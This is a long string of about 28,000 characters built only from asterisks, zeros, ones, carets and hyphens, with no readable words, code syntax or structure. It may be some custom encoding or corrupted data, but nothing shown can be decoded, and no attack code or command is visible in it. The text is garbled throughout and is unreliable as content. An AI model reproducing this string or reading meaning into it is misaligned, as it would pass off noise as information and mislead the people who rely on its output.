-*****011**^-******1***01011*****001***001011********110101******01**^-1********0^-******01**010^11*****011**011*******01**-1101*****0011**0^1*****************11***^1*****001**001^-********011*01********00110-*****01**0110101******1***01011******1**0101^1*****001***00-*****01**0101*1********011*101********10^11******1**101101********00110101******1***11*1********0011*******1***01101********110-01*****01***1*******11***0101******1**1^101********011*-********01*^101*^11*001*1*011*001^1*10101*-11*0011*01^1*001****01**0-010^--01101*01^1*001*******010101010--00101*01^1*001****01**0^110^--0^1*01^1*001****01**001**0--*01*01^1*001*******-1*10--0-*001^1*001****01*****0--001101*01^1*********1***-001*1****1***1*******01**1101****001**001^1^1****10101*01****01***11*110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01***11*-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*010101*11*00--------0010-1*-*1011*--------11*11*0-001011*0^1101*****00-0^1*0-**^1^^1*****01***1101**0^101*001*1*********00101*--*101****01***1^-1101^11****011**0^^1*101*1**-*00--------*1*1*-001011*01*^1********-00-*001*01*001*1*1101**011010-01*-**101**01101*-00--01*-110-11*010110101^^1********01*101*001*01****01**0^110^--01*^1********-0^1*001*01****01*****0--********0-0^1*001*01****01*****0--0011****011**00101010-101^101****01**-0^-110110-**11****011**0^^1*101*1**011*00--------1^1011*-001011*011011*1101*001101*0101*00-1********************110101********01101**********1*1*********1*1*******************1**1********-*00101*10^1*01011**-*101*001^1*001****01**0^110^--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1****1**-**********0-101***001**001^1^1*010101*11*00-----1010-110110101*0-*11*001^1*^1101*101*-11*1*^1********-*01*00^^1*01*1*-----1010-11*1011*0-*11*001^1*1*^1********001*11*00^^1*01*1*--------1^-1*-00^11*-----1010--0-11*0-*11*001^1*1*1*-11*********^1*0^-001**00---11*0-11*001*001*1*-----1010--*^1*-*11*001^1*^1101*****001010101101010-*001*010^1*****01**001011**00^1101*01*1*001*001^1*-01*--------0^-1*-0010-*-11*-----1010-11*01101*-*11*001^1*0101101010-*1*^1********-01101*001*011*01*1*********1*1*^-*-^--0^1*010-11**0011*10^1*****01**00110-**1*01*******010101010--*10^1*****01***0101**01*01*******010101010--*****001***0101**01*01*******010101010--01**00--101101*001*001*1*-----1010-11*0-1*-*11*001^1*^1101*****00110--1101**001*010^1*11*-11**1*01*1*001*001^1*1011*0-11******01101*00---0101******11011011*10^110101******-01011*101*001*001**--------01^-*-00^1101******10^10110-01*001*010^1*****01**0110-**0^1101*01*1*------0--00101*00-*11*001^1**11**********1*0^-001**00--^11*0-11*001*001*1*------0-1^-1*00-*11*001^1*1^^^-010-11*-*001*1*001*001^1*^1*0-11*0011*0011****011**0-^1*101******1**001*101*001******1**00-0101*001*1101*01**--------^10-*-00^1101*****00-00110^-**01*010^-110110-11**1*01*1*------0-110-011*0-*11*001^1*1*^1*****01**00110101**^^1*01*1*********-1*0^-001**00--10-1*001*001*1*------0--11*01*-*11*001^1*010110^1011*1*^^1*10-11*1011*01*1*001*001^1*1101*0-11*1011*0011****011**00-01*0101*1**--------0^-1*-*0^^-11*------0--1^101*-*11*001^1*^1101*****0010101**-11*001*010^1*****01**0-*1**^1101*01*1*********10101*^-001**00--10101*0-11*001*001*1*------0--11*11*-*11*001^1*0-1*001*001^1*-1*0-11*---------10-*-001*^1**10-11*^1*01*1*------0--0-011*-*11*001^1*^110101*^1********-*11*00^1011*01*1*1*^1********0--1*00^1011*01*1**********11*01*01011011**1*0--------01010-*-00^110^-1*1*^1********1101^1*001*101*01*1*-----^--1101**0-*11*001^1*01^^-11*********^1*0^-001**00--10-*0-11*001*001*1*-----^---11**-*11*001^1*0011*0-11*001*001^1*11011*1101*0011****011**0-^1*101******1**00-0011*001******1**001*011*001*1101*01**--------00110-*-00^110101*-0-11*1*^110^110-11*0011*01*1*-----^--010^1*0-*11*001^1*1*^1011*10-11*^1*01*1*********0011*0^-001**00--101011*001*001*1*-----^--*0011*0-*11*001^1*0^1*-11*001*001^1*0-1******01101*00---0101******11011011*10^110101******-01011*101*1011*01**--------0^-1*-*^1*-11*-----^--11*001*-*11*001^1*^1101*******0-110101**0^1^^1********01010101*00^-*001*1*********10101*^-001**00--110-*001*001*1*-----^--01*101*-*11*001^1*^1*0-11*001*001^1*0101*0-11*-----^---10101*-*11*001^1*01^^-11*--------0^-1*-00^1*0-11*-----^----01*-*11*001^1*^1101******^1^10^-*001*010^1********101*01*001*001*01*1*********10101*^-001**00--1^1*0-11*001*001*1*-----^---11011*-*11*001^1*10^^-11*001*001^1*^11*--------00110-*-001*^1********00110101*001*011*01*1*-----^--*-11*-*11*001^1*1101101011011*1*^1********1*0011*001*011*01*1*********1*1*00-1*-1*^101^-*101**--------0^-1*-0010^^-11*-----110--^11**-*11*001^1*11*^-11*********^1*0^-001**00--1*11*001*001*1*-----110--001101*00-*11*001^1*^1101*****00-^10^1^1*00^1^^1*01^-11*-*001*1*001*001^1*0011*0-11*0101****01**0110^-110110^1*0011****011**0^^-1101^11*00--------1^-1*-*1011*-----110--0010101*0-*11*001^1*^11010^-10-11*1*^1********11*001*001*101*01*1*********0^1*^-001**00---01*0-11*001*001*1*-----110--1*-*0-*11*001^1*^1101******010--010101*00^1^^1*****01**01^^1*00^-*001*1*001*001^1**11*0101*0011****011**0-*-00-0--------0^-1*-00-01*-11*-----110--0110^1*-*11*001^1*^1101********01^1101*00^1*^1********10-011*00^1011*01*1*********10101*^-001**00---101*001*001*1*-----110--10101101*-*11*001^1*^1101*****00-0^-11011**^1^^1*****01***1101**0^-*001*1*001*001^1*00-*--------0^-1*-*1101*-11*-----110--00101011*-*11*001^1**01*-11*********^1**-1*-0110-**1010110^101^-*101**--------^10-*-00^1101*****00-^10110^11*001*010^10-0010-11**1*01*1*-----110--*-11*-*11*001^1*^1101********011*001*00^1*^1^^10-11*0011*01*1*********0^1*^-001**00---011*001*001*1*-----10--^101**-*11*001^1*^1101*******11**^1*001*010^1^10^-11*1101*01*1*001*001^1*01011*-----10--1^101*00-*11*001^1*1101*0-11*010-^101****1***0^101^-0110101******10101**101******11***011**01******11**01*11**^1*******001011**11*1^101^-*101**011****001***1^1*10^-01*01*11011**10-00-*1**01*0101*---------10-*-001*^1*01010-11*0101*01*1*-----10--110^11*0-*11*001^1*^1101******-0110110-01*00^1^^^110^-11*-*001*1*********0^1*^-001**00--1^11*001*001*1*-----10--11**1*-*11*001^1*^1101******010^-01*1*00^1^^1*00^-11*-*001*1*001*001^1*0-*0-11*0011*0011****011**0-^1*101******1***0-01*001******1***101101*001*1101*01**--------0^-1*-**0^-11*-----10--1*01101*-*11*001^1*0101*0-11*********^1*0^-001**00--11011*0-11*001*001*1*-----10--^1*11*-*11*001^1*1*^1*****01**01101*1*00^^1*01*1*001*001^1*10-*-----10--101101011*-*11*001^1*^1101*****00-11**1011**1*010^11*1^-11**1*01*1*010-^101****1***0^101^-0110101******01*01*0101******11**1^-**1******11***0011**^1*******001011**11*1^101^-*101**1********-11*011*-1**11****011**10-001*10^1101**-1*^^-00^1*001*0101*01101*01101*--------01^-*-00^1101******^1*0-101**^1^^1*****01**0-0101**^-*001*1*--------110101*00-*11*001^1*00101*-11*********^1*0^-001**00--^-*001*001*1*--------0-11*00-*11*001^1*^11*001*001^1*01101******011**01*011********101*01*****011**0110-********01101*******01*001^-1*****011**101^1******1**0101011*****0011**01*011*****001**-011******001*001011******001**01*011*********0^11******1*00^1101********01^-******01**00-01*****011**0011*******1**0-101****************001**0101^1*****01**0010-01*****01***011011*****001**101^11*****01***011011********1*11******11**11010-*****001**^10-******1**^1011*****01***-11********00-0-******1***0101*****011**^10101*****011**010101******1****1**********0101*****001**-00101*****011**01*001*****01**0110-11*****01**0101011******01**1*^1*****001**10-*******1*001*0-******1*001^11******1***10^1*********^11********00110^101*^11*001*1*011*001^1*01011*-11*1011*01^1*001****01**001**0--*11*01^1*001****01*****0--01101*01^1*001*******010101010--00101*01^1*001****01**0-010^--0^1*01^1*001*******0-11010--*01*01^1*001*******-1*10--0-*001^1*001****01**0^110^--001101*01^1*********1***-001*1****1**011*******101**0010-**00-***1^1^1****10101*11****011**1^^1*10^11**01**011****011***0101*0101*1*****1101*01^1*********1***-*101101***010101*11****011**1^^1*101*101****01**1010^-00-001**011****011***0101*0101*1*****1101*01^1*********1***-*10101^10101*1^1*11****011**1011*1*01011010101*01****01***01*1**0-011******01***10-0011**01****01**00101*1**011*******0011**1011*^-010-11*10-001******-**-11*00^^11*11011******01**01010-0011*00--------01*01*0-*011*0-01*10-001*****001*^^11**00^11011*11011******01***10-0011*0010-001*****0^10^110^1**1*1101*11011******01**01010-0011*00--------11*11*0-*011*011011*10-001*****0--0010-11**1*0011*11011******01**01010-0011*0010-001*****0110101*1101011*001*1011*11011******01***10-0011*00--------001*01*-*011*0^11*10-001*****01*11*001101**^-01*11011******01***10-0011*0010-001******01*011*011*001*0-*11011******01***10-0011*00--------10^101*-*011*010-*10-001*****01*1*110^1**^10-*11011******01***10-0011**101*01*******0010^^1011*10-1*001****01**0^1*1**010101******00101^1*0101*01****01**01101*1*010-0^^1*******0010^^1011*1*****0-*00-001**01********00101011********001*^1********-0-********0-^1********00110101********011*11*********01^1*******************001*0101*1*01**11*001101****1101*01^1*********1***-001*1***001**00110-*********10-1***01***1^1^1******001010^1*******0011**1010-0^1*0-----110--010-01*-*-*01^1*1101101011011*1*^11*1*-11**01*1*1*01*1011*******0011**1010-0^1*0-*0011011******001**0010-*1****01**00101*10--01011*00101*******01*10-101101*******00^101*010-*1*001*1*--------1^-1*-*0011*-----110--10110-*-*-*01^1**01*-11*********^1*00-1^-*001*1*^1*01*1*-----110----11*-*-*01^1*1*1*-11*^1*01^1**11010-01*^1*01*1*-----10--10-**0-*-*01^1*0-*0-11*01^1*101*******0^110-101101*10-*01101^^110-01*01*01*1**110101*1*-11**1101*11*01*1*^1*01*1*11011******01***10-01101*01*1*1*01101^^1^11010^1*01*1**1101010-00--01********001*011*001*001101*1*001^^1*****01**0101011**01*01****01**0^110^--*****001**0101011**01*01****01**0^110^--0-*001*1*0011*01*1*11011******01**01010-00101*01*1*101*001*1*1*******00^10^1010-*1*001*1*-----10--10101011*0-*-*01^1*1*1*-11*^1*01^1*-01**1*01^1*^101^-*-011******01**01010-01101*01*1*-----10--11**1*-*-*01^1*-01*-*001^1**001101*0110101*001*1*1^^^11*01^1**11010-01*10^1*011*01*1*11011******01***10-00101*01*1*01*110-1*0-11*-*001*1*--------01^-*-00^1101********01*^1*00^1*^1********-*01*00^-1*01*1*-----10--101101101*-*-*01^1*00-**********1*0^-00-1101**^-11*011*001*1*-----10--1*^11*-*-*01^1*^1101*****001011*0-0-**^1^^1********01*011*00^1*1*1*1*-*001^1**0011011*110-01*-1101*****00--11**11*001*11*001*1*-11010-11*-11*011*001*1*0011*01^1**11010^11*0011*01*1*-----10--11010-1*-*-*01^1*^1*0-11*011*001^1*1*0110101*001*1*1^^1*11010-01*0011*01*1*11011******01***10-00101*01*1*101*001^1*1^^^11*01*1*11011******01**01010-00101*01*1*001*001^1*0101******0011*1101^-0--------01*1*00-*-*01^1*1*^11*-0-11**01*1*1*0101*01^1*1101*01^1*0011*01^1*011*0011011******01***10-*1****01***01*10--011011******01***10-*01*001010^1*******0011**1010-0^1*0--------1^-1*-0011011*--------0^101*0-*-*01^1*^1101*********001101*00^1*^1********1^1101*00^-1*01*1*********10101*^-001011*010^1*101^-1*0011011******001**0010-*1****01**00101*10--0--------010-1*0-*-*01^1*^11*1101*01*0110-*001^^1*1101*011*011*001101*01^^1011*0010^^11011******01***10-*01**11**1****01**0^1*10--00101*01*01^1**1*01^^11*1*110101^11010-01*001*01*00--------11*101*-*-*01^1*0-1*01^1*11****011**0011*1*01011*****01**00^1101*****01**0010^11*****01**0^10-*****01**011*101******************00^10-*****01**00101^1*****01**0-*1*********-101********0-*********010^11*****001**00-**********11011*****001**0-0-1********-011******1**0-*1*****001***0011********00-1*1********0^1*101*^-*01*1*********10-01*0-001*1*1^1*001****01**0^110^--*001*1^1*001****01**0-010^--0-1*01^1*001****01*****0--001101*01^1*********1***-001*1****1**101*******01**0-011***0101**001^1^1*********010101*11*00------0--0--*-*11*001^1**00^-11*-----^--011**00-*11*001^1*^1101******0011*001***01*010^1********-11011*00^1101*01*1*--------01^-*-00^1101******0-^-01**001*010^1*****001**0010101**^1101*01*1*-----^--0-01*00-*11*001^1*0^1*-11*********^1*0^-001**00---01*0-11*001*001*1*-----^--01*01*0-*11*001^1*0-*0-11*001*001^1*-01*--------01^-*-*00110101*^1********-01101*00^^1*01*1*1*^--110-11*^1*01*1*-----^--1*011*0-*11*001^1*1^1*-11*********^1*0^-001**00--101101*001*001*1*-----^--0010-*0-*11*001^1*^1101*^^-11*1*^1********001*11*001*101*01*1*001*001^1*^11*--------1^-1*-00^11*-----^---1*1*-*11*001^1*10101*-11*********^1**-^^1*0-11*^101^-*101**--------0^-1*-00^11*-11*-----^--^10101*-*11*001^1*^1101******101011010-11**^1^^10-1*0011*01*1*********1*1*^-001**00--1*11*001*001*1*-----^--001*11*-*11*001^1*-11*-11*001*001^1*1101*0-11*011****011**01^110-101^11****011**110101101^-0^1**01*0011*00--------0^-1*-00-11*-11*-----^--10^-*-*11*001^1*^1101*****0011*1*-001**^1^^1*****01**00110^1*001*011*01*1*********10101*^-001**00--10101*0-11*001*001*1*-----110--101**00-*11*001^1*01011*-11*001*001^1*^1*0-11*0011*0011****011**0-1101*101******1**0-***01******1***001**00^^1*0-11*01**--------00110-*-00^1101*011010-11*1*^1^10110-11*^1*01*1*-----110--0^11*00-*11*001^1*1*^1********^1^1*001*101*01*1*********-1*0^-001**00--10-1*001*001*1*-----110--110^1*0-*11*001^1*^1101******-101011*01**1*010^1*****01**01*-**^1101*01*1*001*001^1*0101*0-11*1011*0110101******11011011*10^110101******10-011*10^^110101011*0-11*-*00110101******-01011*10^1011*0-11*01**--------^10-*-00^1101******-0^^11011*001*010^1*01010-11*-*001*1*-----110--1101*1*-*11*001^1*0-1**********1*0^-001**00--1^1*0-11*001*001*1*-----110--0-^1*-*11*001^1*00101*-11*001*001^1*00-*--------0^-1*-0010-*-11*-----110--1*1101*-*11*001^1*11011**********1**-1*-0110-**1010110^101^-*101**--------0^-1*-*0101*-11*-----110--110^11*-*11*001^1*10-**********1*0^-001**00---011*001*001*1*-----110--10-011*-*11*001^1*0101*0-11*001*001^1*01011*-----110--^10-*-*11*001^1*^1101********010101011*00^1*^101*110-11*0101*01*1*010-^101****1***0^101^-0110101******10101**101******01**010101**01******01***-1**^1*******001011**11*1^101^-*101**011****011**10-001*10^1101**-1*^^-*1**01*0101**11*01101*--------0^-1*-*101*0-11*-----10--^1101*00-*11*001^1*1*1*-11*********^1*0^-001**00--1^11*001*001*1*-----10----1*00-*11*001^1*1*^1^10^-11**1*01*1*001*001^1*11011*1101*0011****011**0-^1*101******1**0-*11*001******1**0110^11*001*1101*01**--------0^-1*-*-1*-11*-----10---^11*0-*11*001^1*^11**********1*0^-001**00--101011*001*001*1*-----10--1^-1*0-*11*001^1*-01*-11*001*001^1*0-1*011****011**-*0-1101^11****011**0-^1*101********001^1011*001********00-11011*001*1011*01**011*00--------0^-1*-00-01*-11*-----10---*101*-*11*001^1*10-*-11*********^1*0^-001**00--110-*001*001*1*-----10--101101101*-*11*001^1*0011*0-11*001*001^1*10-*-----10--101*011*-*11*001^1*00-*-11*010-^101****1***0^101^-0110101******01*01*0101******11***1*1*001******11**1101^1*00^1*******001011**11*1^101^-*101**1********-11*011*-1**11****011**1*-*0101*-**^^^101010110101**1*0-********************01*001*0^--------0^-1*-*011*0-11*--------^1**0-*11*001^1*^1101********0-0^1*00^1*^1^^10-11*^1*01*1*********0^1*^-001**00--^-*001*001*1*--------10^1*00-*11*001^1*^1101010-*-11*1*^-*110-11**1*01*1*001*001^1**11*0101*0011****011**11*00-00-0--------0^-1*-001101*0-11*--------001*1*0-*11*001^1*^1101*10^1********10110101*00^-*001*1*0010^1********10110101*00^-*001*1**********11*^-001**00---101*001*001*1*--------01^11*0-*11*001^1*00-*001*001^1*01101******001**-^11********1101*******1**10110101*****01**00^11********0010101011********-10101*****001**-^11*****001**0011011******1**10--*****001**001^1*********0-11*****01***1^1******1***10-*****01**01^1011*****011**11*1******11**0110101*****001***1^1********0-1011******1**1^^1*****011**-101********00-1011********0110-01********001^1*****001***10^1*****001**01^1******1**00110-1*****01**010110101*****011**1101011*****001**0-*11*****01***01*1*****01**01*1*****************11**0010-*********1011*********1*^101*^11*001*1*011*001^1**11*0011*01^1*001****01**0^110^--01101*01^1*001*******010101010--00101*01^1*001****01**0-010^--0^1*01^1*001****01*****0--*01*01^1*001*******0-11010--0-*001^1*001*******-1*10--001101*01^1*********1***-001*1****1**001*******001*00^-***0011***1^1^1******0010101*101*******01*10-101^11*00-----^--001*11*-001011*00-1*-----^--110^11*-001011*0^1101********0-*01*00^1*^1*****01**00-0-*00^^1*01*1*--------01010-*-00^1101******--11*1**001*010^-101^-11*0101*01*1*-----^---10-*-001011**011*********-*00^-001**00--10-1*-*00-----^----11*-001011*0-01*1101*0-01*---------00-*-00^1101********011*-*00^1*^1*****01**01^11**01*11*001*1*-----110--11011**-001011*01011*0-11**********1*0^-001**00--101101*-*00-----110--001101*00-001011*001011*1101**011*0101*00101******0011*1101^-0--------01010-*-00^1101010-110-11*1*^1*****01***-001*00^^1*01*1*-----110--110^1*0-001011**-*********-*00^-0010-00--0101*1010-11**110101^^1*****01**0011*01*001*01****01**0^110^--01^^1*-10-11*001****01**0^110^--*0-10-11*001****01**0^110^--01**00---101*-*00-----110--010-1*0-001011*010-*1101**-*-----110--11*001*-001011*0^1101********0-01101*00^1*^1*****01**00-101**^^1*01*1*01^^110101******^1^1*101******11**101101**01******11***1101**^1********-11*011*1011****011**011*01*101*1**011****011**10-001*10^1101**-1*^^101011011*001*0101*11011*01011*011*00--------0010-1*-0010-*-----110--011*11*-001011*0^11010^10110-11*1*^1*01*-11*-*001*1*********0-*0^-001**00---011*-*00-----110--10-011*-001011*0^1101********0-10-*00^1*^1********00^101*001*01*001*1*1101*00-1*-----110--1^-1*-001011*0^1101*****00101^-11011**0^1^^1*****01**011***001*001*01*1*01^^110101******-^1*0101******11**10^1**01******11**-0101**^110101******01^101*101******1**010^-*001******1***101101*001*11****011**10^11*0101*1**011*00---------00-*-00^1101******^1*010-1**^1^^1*****01**0-0101**1*001*01*1*-----10--1**1*0-001011**011*-11**********1*0^-001**00--110-*-*00-----10--11*101*0-001011*0^1101********01^^1*00^1*^1*11010-11*-*001*1*1101*011011*01^^110101******1^-*0101******1***011**001******1**010-11**1*11*00---------00-*-00^1101******00-*101*1*001*010^1*****001**01*01**^101*001*1*-----10--1*1*1*-001011*0^1101******-0101^11011*00^1^^1*****01**0101*01*001*001*01*1*********00101*^-001**00--101011*-*00-----10--110^101*-001011*00^1*-11*1101*010-*01^^110101******1^-*0101*00-10-11*10-*-11*011*00--------1^-1*-*^1*-11*-----10--11*0011*-001011*01*^11*-0-11*-*001*1*********1101*0^-001**00--^-*-*00-----10--110101011*-001011*0^1101*0-00-11*1*^1********01^101*00^-*001*1*1101*0^11*01^^110101******-^1*0101******11**10-11**1******11**-1***1*11****011**-^1*0101*1**011*00--------1^-1*-*0101*-11*--------011**00-001011*0-1*0-11**********1*0^-001**00--1*11*-*00---------01**-001011*0^110^1011*1*^1*****01**001*001*001*11*001*1*1101*001011*--------^101*00-001011*0^1101******01010101*01**01*010^^1*10-11*101*001*1*01^^110101******^1^1*101******1**01101101**1******1**00-01**0^1********-11*011*1011****011**00^110-101^1**011*******011**00101*0011*-*0010110101**11*1***1***********1*001*11*00--------10110-*-001*^1********1010^1*001*01*001*1*--------1^-*0-001011**001*-11**********1*0^-001**00--1^11*-*00--------001*01*-001011*001011*-11*1101*001101******001**11*011********^10-*****01**01*011******1**1101*********0-0-*******************^-01*****01**00-0011********^10-********0010101*********0101********00-1*1*****01**01*1101*****001**011*01*****001**010^11*****001**1^101********010^11*****001**0^11*********0101*******1**00101******001**1^101*****001**010-1******01**01*11*****001**01101^1*****001**-10101*****001**-1*1********00101011********11011*101*10^1*01011*010101*-11*0101*01^1*001*******-1*10--0^1*01^1*001*******0-11010--*01*01^1*001****01**0^110^--0-*001^1*001****01**0-010^--0011*001^1*001****01**001**0--0101*001^1*001*******010101010--*1*001^1*001****01*****0--001101*01^1*********1***-001*1****1**11*******011**0--***-***1^1^1******0010101*11*00-----110---00-*-001011*0-01*-----110--0-0-*-001011*010-*--------01010-*-00^110^110-0-11*1*^1*********00101*00^^1*01*1*-----10--1101**00-001011*0^1101******1^1011*1011*001*010^^-*-11*-*001*1*********1*1*^-001**00---011*-*00-----10----**-001011*0^1101*********101101*00^1*^110101010-11*^1*01*1*1101*0-01*--------0010-1*-*0-*-----10--1*-*00-001011*01*^-01*0-11*^1*01*1*********1101*0^-001**00--101101*-*00-----10--^1^1*0-001011*0^1*0-11*1101*011011*-----10--10110101*0-001011*00-*0-11*110101******011**00101*********11*01*001*********011*1*00^^101^-*1011****011**0-0010-101^11****011**10^11*0101*1**^1*0-11*011**1101*011****011**0-0010-101^11****011**10^11*0101*1**--------01010-*-00^1101*******0010^1***^1^^110^110-11**1*01*1*-----10--1^1^1*-001011*01101*0-11**********1*0^-001**00--101011*-*00-----10--101010101*-001011*0^1101******-01*^1011*001*010^1*01010-11*-*001*1*1101*001011*-----10--110-101*-001011**101*-11*110101******011**00101******1**00-0011*001******1***1*11*001*1011*01011*011**1101*011****01**011*11*0101*1*^-11*010-00-11*011****011**011*01*101*1**---------00-*-00^1101*****00^1*0-011**01*010^1*****01***-11**1*11*001*1*-----10--1010-11*-001011*0^110^10-00-11*1*^1********001*11*00^101*001*1*********1*1*^-001**00--1^11*-*00--------00101**-001011*00-1*1101**011*0101*01*******001*0^1011*1*00-011****011**00^110-101^1**--------01010-*-00^1101********00-0101*00^1*^-^^-11*001*001*1*--------010-*00-001011*00^1*-11**********1*0^-001**00---101*-*00--------110^1*0-001011*00101*0-11*1101*0^11*--------1010101*0-001011**11*0-11*110101******011**00101******1***0011**01******1**0010-**01*1011*01101*011**1101*011****01**011*11*0101******01**0110-1*001******01**0-0-*001*11****011**00^110-101^1**--------1^-1*-*101*0-11*--------0011*1*-001011*001101*********-*00^-001**00--1*11*-*00--------00-001*-001011*0-1*0-11*1101*001101*********^10-*****01***10-*********-11********01*0-********00--*****01***0-01*****01***00101*****001**010-*********1*101*****001**010-*********1101101*****001**00101101********00^^1*****01**0--01*****01**0-*01********0101********************--01*****01**01*1101********0101*********01*01********0010101*101*10^1*01011*001011*^1*01^1*001****01*****0--*01*01^1*001****01**0^110^--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--0101*001^1*001****01**0-010^--*1*001^1*001****01**001**0--001101*01^1*********1***-001*1****1**01*******001**0-001****1**001^1^1*********010101*1101*01101*01^1*********1***-001*1******0101011********00^1****01***01^1^1****10101*01****01**0-*0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**0-*0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*00110^11*00^1*0-11*0101*0^101^-*1011****011**0-0010-101^11****011**10^11*0101*1**01101*01^1*********1***-001*1****1**1**********001011***0011***01^1^1******0010101*11****011**01^11*0101*01**1**011****011**-*01*10^11**01**011****011**-0011*0101*1*****1101*01^1*********1***-*110-0010101*11****011**-0011*0101*1*****1101*01^1*********1***-*-11***0--------^11**-*01*001^1**11*01010^1********10-001010-0-*00--------^10-*-00^1101*****00-011*101***1*010^10-1^-11**1*01*1*--------*-*00-*01*001^1*^1*0-11*********^1*0010-0010-01*011**1*0--------^^1*0-*01*001^1*1*^1*****01**0-***0^-*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------00^11*0-*01*001^1*0-1*1101*00101******001*1011*10^--------0^-*0-*01*001^1*0-1*1101**101*--------10110-*-00^110^1011*-11*1*^^-*011*001*1*--------*1*1*-*01*001^1*01011**********1*********01**0101*101*01^11*00^110101*-0-11*1*011011**01**--------1*0101*-*01*001^1**11*0101*001101*--------11010101*-*01*001^1*^110101*^1********1**1*00^101*001*1*1*^1********1**1*00^101*001*1*01^1*11****011**01*001*01011********-0101********010^11********01*0101********10^11*********************01********-0101********0101^1*********010101*********101********00-0101********00-1*********0011*0101*1*1*001*1*********1010101*0-*001*01^1*001*******-1*10--0-*001^1*001*******0-11010--0011*001^1*001****01*****0--0101*001^1*001****01**001**0--001101*01^1*********1***-001*1****1**********1**0-1****001***1^1^1****10101*11*00-----1010-11*0^1*-00^1*01^1*0101*0-11*-----1010--001^1*-00^1*01^1**10^-11*--------10110-*-0011011010^11*1*^101101010-11*0101*01*1*-----1010-110-0101*-00^1*01^1*^10^-11*********^1*0^-001**00---11*0-11*-*001*1*-----1010-1101*011*-00^1*01^1*1*^1*****01**0101***0^1101*01*1*-*001^1*-01*--------1^-1*-0010-*-----1010-1101011011*-00^1*01^1*0-1**********1*0^-001**00--101101*-*001*1*-----1010-1^110-*-00^1*01^1**11*-*001^1*0-1*0011*00101*******0101101*101*1011*01**--------1^-1*-*0011*------0--01**00-00^1*01^1*00-**********1*0^-001**00--110-*-*001*1*------0--1101**-00^1*01^1*^1101*****00-*10101*01*00^1^^1********-10101*001*-*01*1*-*001^1*^1*0-11*--------0^-1*-*0011*-11*------0--11011*00-00^1*01^1*^1101*****0010-0-1^101*001*010^110101010-11*1011*01*1*********0^1*00-1*-011*01*001010110^11010^1*0-11*^101^-*101**--------0^-1*-00-01*-11*------0-110-101*0-00^1*01^1*^11**********1*0^-001**00--10-1*-*001*1*------0-11*0-*0-00^1*01^1*1011*0-11*-*001^1*1101*0-11*1011*0110101******11011011*10^110101******10-011*101*001*0110101******-01011*10^^1*0-11*01**--------0^-1*-001011*0-11*------0-11*1^1*-00^1*01^1**11*-11*********^1*0^-001**00--10101*0-11*-*001*1*------0-1^110101*-00^1*01^1*^1101*****0011011*0-*1*001*010^1^11*-11*1011*01*1*-*001^1*10-*------0--*0011*-00^1*01^1*-01*010-^101****1***0^101^-0110101******01*01*0101******1**011*1**01******1***0011**0^1*******001011**11*1^101^-*101**1********-11*011*-1**11****011**1*-*0101*-**^^^10101*0101**1*1101********************-*01*0^--------0^-1*-*0^^-11*-----^---**00-00^1*01^1*01101**********1*0^-001**00--^-*-*001*1*-----^--^11**-00^1*01^1*01*^-11*-*001^1*1011*0-11*001*001^1*011****011**0-1101*101******01**01101101*001******01**1*0101*00^^1*0-11*01**--------00110-*-001*^1********011*01*00^1101*01*1*-----^---*1*0-00^1*01^1*10110^-11*********^1*0^-001**00--^11*0-11*-*001*1*-----^--1101101*0-00^1*01^1*0011*0-11*-*001^1**11*0101*0011****011***-101^-0--------0^-1*-*011*0-11*-----^--0010-*0-00^1*01^1*^11*-11*********^1*0^-001**00---101*-*001*1*-----^---*01*-00^1*01^1*1^1*-11*-*001^1*^11*--------0^-1*-**0^-11*-----^--0101^1*-00^1*01^1**01*-11*********^1**-^^1*0-11*^101^-*101**--------0^-1*-001^1*-11*-----^--00101101*-00^1*01^1*01^^-11*********^1*0^-001**00--1*11*-*001*1*-----^---*11*-00^1*01^1*00110^-11*-*001^1*11011*1101*0011****011**0-^1*101*********-1101*001*********^1101*001*1101*01**--------0^-1*-*0110^-11*-----^--00110-*-00^1*01^1**00^-11*********^1*0^-001**00--101011*-*001*1*-----^----11*-00^1*01^1*0-*0-11*-*001^1*01011*-----110--1101**0-00^1*01^1*0-1*-11*010-^101****1***0^101^-0110101******10101**101*********10-01*001*********0010-*00^1*******001011**11*1^101^-*101**011****011**10-001*10^1101**-1*^^110^1**01*0101*01011*00-*-11*--------0^-1*-*-*0-11*-----110--011*1*0-00^1*01^1*1101*0-11*********^1*0^-001**00--1^11*-*001*1*-----110--^1101*0-00^1*01^1*1*^101101010-11*1101*01*1*-*001^1*00-*--------1^-1*-*0-*-----110--0-011*0-00^1*01^1*^1101*****00^1010-001011*00^1^^1********0-*1*001*-*01*1*********10101*00-1*-0110-**1010110^101^-*101**--------0^-1*-00^1*0-11*-----110--1010^1*-00^1*01^1*01011**********1*0^-001**00---011*-*001*1*-----110---00101*-00^1*01^1*^1101******001*0011***01*010^1*****01***00101**^-1*01*1*-*001^1*0101*0-11*-----110--**11*-00^1*01^1*-11*-11*010-^101****1***0^101^-0110101******01*01*0101******01**11010-*001******01***-11*00^1*******001011**11*1^110^-1*^101^-*101**1********-11*011*-1**11****001***1^1*10^-01*01*11011**10-00-01^1*001*0101*--------01^-*-00^1101*****001010-0^101**0^1^^1*****01**01*101**1*-*01*1*-----10--11011**0-00^1*01^1*10^^-11*********^1*0^-001**00--1^1*0-11*-*001*1*-----10--11*01*00-00^1*01^1*10-*-11*-*001^1*0011*0-11*-----10--10-01*00-00^1*01^1*1*^-01*0-11*1101*01*1*011****011**0--0-10110110101******-101*0010^1010-0-11*^-00-11*011*001*1*011*001^1*1*******0010^^1011*-101*110101******1011**0101******01**^1101**1******01**1*01**0^^1*0011*******10101**10^-^10-11*00-110-11*011*00--------^10-*-00^1101******01^1^-001*001*010^11*0010-11*1011*01*1*-----10--^-11*0-00^1*01^1*^1101********0101^11*00^1*^1*****01**01101^1*001*101*01*1*********10101*^-001**00---01*0-11*-*001*1*-----10--^-001*-00^1*01^1*01011*-11*-*001^1*-1*0-11*011****011**01^110-101^11****011**110101101^-0101*001*1*001*001*1*011*00--------0^-1*-*1011*-11*-----10----101*-00^1*01^1*00101*-11*********^1*0^-001**00--10-*0-11*-*001*1*-----10---001011*-00^1*01^1*^1101010-^-11*1*^1********01^101*001*011*01*1*-*001^1*0-*0-11*-----10--1^10-*-00^1*01^1*1*^1011*10-